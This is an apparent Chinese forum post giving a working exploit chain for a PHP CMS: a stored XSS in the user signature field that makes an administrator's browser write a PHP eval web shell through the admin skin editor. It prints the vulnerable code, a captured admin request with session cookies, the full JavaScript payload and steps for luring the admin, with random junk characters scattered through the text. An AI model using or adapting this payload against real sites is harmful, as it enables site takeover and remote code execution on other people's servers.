程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题   l0 ]4 N/ a" m/ F官网已经修补了，所以重新下了源码 $ }) Q$ e/ V& K, Y. h因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss 漏洞文件 user/member/skin_edit.php 7 V! {5 [6 S: T  h本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名：    </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> 8 E2 X* W$ s3 o, Y' n7 M' G8 ]   . j. ^! Z3 G7 K0 \/ h8 u# X1 J$ h</textarea></td></tr>                 user/do.php 9 _8 X: @+ E4 Q / }% X' d* M* o7 u0 Oif($op=='zl'){ //资料                 if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) : M9 b' ]" @( D/ b0 J5 k0 |1 F             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); " N; }. g6 H3 @* T, k6 K1 q7 Y                $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',                 CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'              where CS_Name='".$cscms_name."'";    ; Y4 ^/ B6 p# O/ k4 p8 G             if($db->query($sql)){ ! [0 s: ?' |- L' k5 D                 exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);')); 2 _3 u) @2 G7 O! B                }else{    . |* O$ b& C' L, i              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);'));                 } 9 n7 q9 Z4 S% R* {7 F0 |0 g: \: s1 v 5 B# n" s7 d* z- T没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 + d4 X; o- h: \# `( y ! i) F* m4 |: V4 e# E& R本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 # v3 }) X- O8 b* g6 Y, q8 M   Accept: text/html, application/xhtml+xml, */*    Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php    : t% k0 ^0 Y% l0 ~* v% I- GAccept-Language: zh-CN : g; F/ w9 i; W, k- I7 h! A   User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) 4 O$ R4 k5 l6 C* ^* L+ \   7 g3 ^" l  [& b- ]Content-Type: application/x-www-form-urlencoded    Accept-Encoding: gzip, deflate - h( L4 `7 f7 I5 z) v   0 @7 ?8 u1 z' {" {+ f6 M, qHost: 127.0.0.1 & f4 Y  n" L7 T# \, q4 V   Content-Length: 38    DNT: 1    & \5 T+ u& }+ fConnection: Keep-Alive $ A8 ]% B5 z( l* d   7 ]( ^4 t9 y  t& R% S! TCache-Control: no-cache / t. k# Q* ?: [( n1 t   0 G7 d" ]  B8 z6 C/ V1 m% ^Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594    ) T9 _  n4 O& l2 Xname=aaa.php&content=%3Cs%3E%3Ca%25%3E * N& R+ G% G% w2 `1 y8 g 于是 构造js如下。 ) t+ L* w7 u% q' k9 l4 B 本帖隐藏的内容<script> thisTHost = top.location.hostname;    thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/"; : _$ J1 S7 s3 G* B   function PostSubmit(url, data, msg) {     var postUrl = url;        var postData = data; $ U: u/ p# R# d* e    var msgData = msg; ; ]1 |- `- ]3 ?9 H    var ExportForm = document.createElement("FORM"); 8 j9 |6 N- w! |" @    document.body.appendChild(ExportForm); & f" `6 y. H" |8 E  p6 }5 A    ExportForm.method = "POST";     var newElement = document.createElement("input"); ! u- v4 Q  w: L+ W8 m  `& x$ Z    newElement.setAttribute("name", "name"); 5 \& m8 W, c3 }. b7 N4 ?5 @    newElement.setAttribute("type", "hidden");     var newElement2 = document.createElement("input");     newElement2.setAttribute("name", "content");     newElement2.setAttribute("type", "hidden"); ) A# V+ I$ W6 r; C) I4 g    ExportForm.appendChild(newElement);     ExportForm.appendChild(newElement2);     newElement.value = postData; 1 D  k* Y- G8 h    newElement2.value = msgData;     ExportForm.action = postUrl;     ExportForm.submit(); };    5 Q" N7 ^; i8 X2 v7 J* C# g2 U% CPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); 0 t' s% E$ s) s/ m' x/ y   </script> % l, F& g: c9 U/ r $ l7 u# [$ L9 L6 h$ j) i) M9 T/ m4 C % L1 p: J- f& ]* a* s0 ]% W7 Ihttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 7 ?7 I( p8 I: z/ C: L) w, _用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） 就会 在 skins\index\html\目录下生成 roker.php 一句话。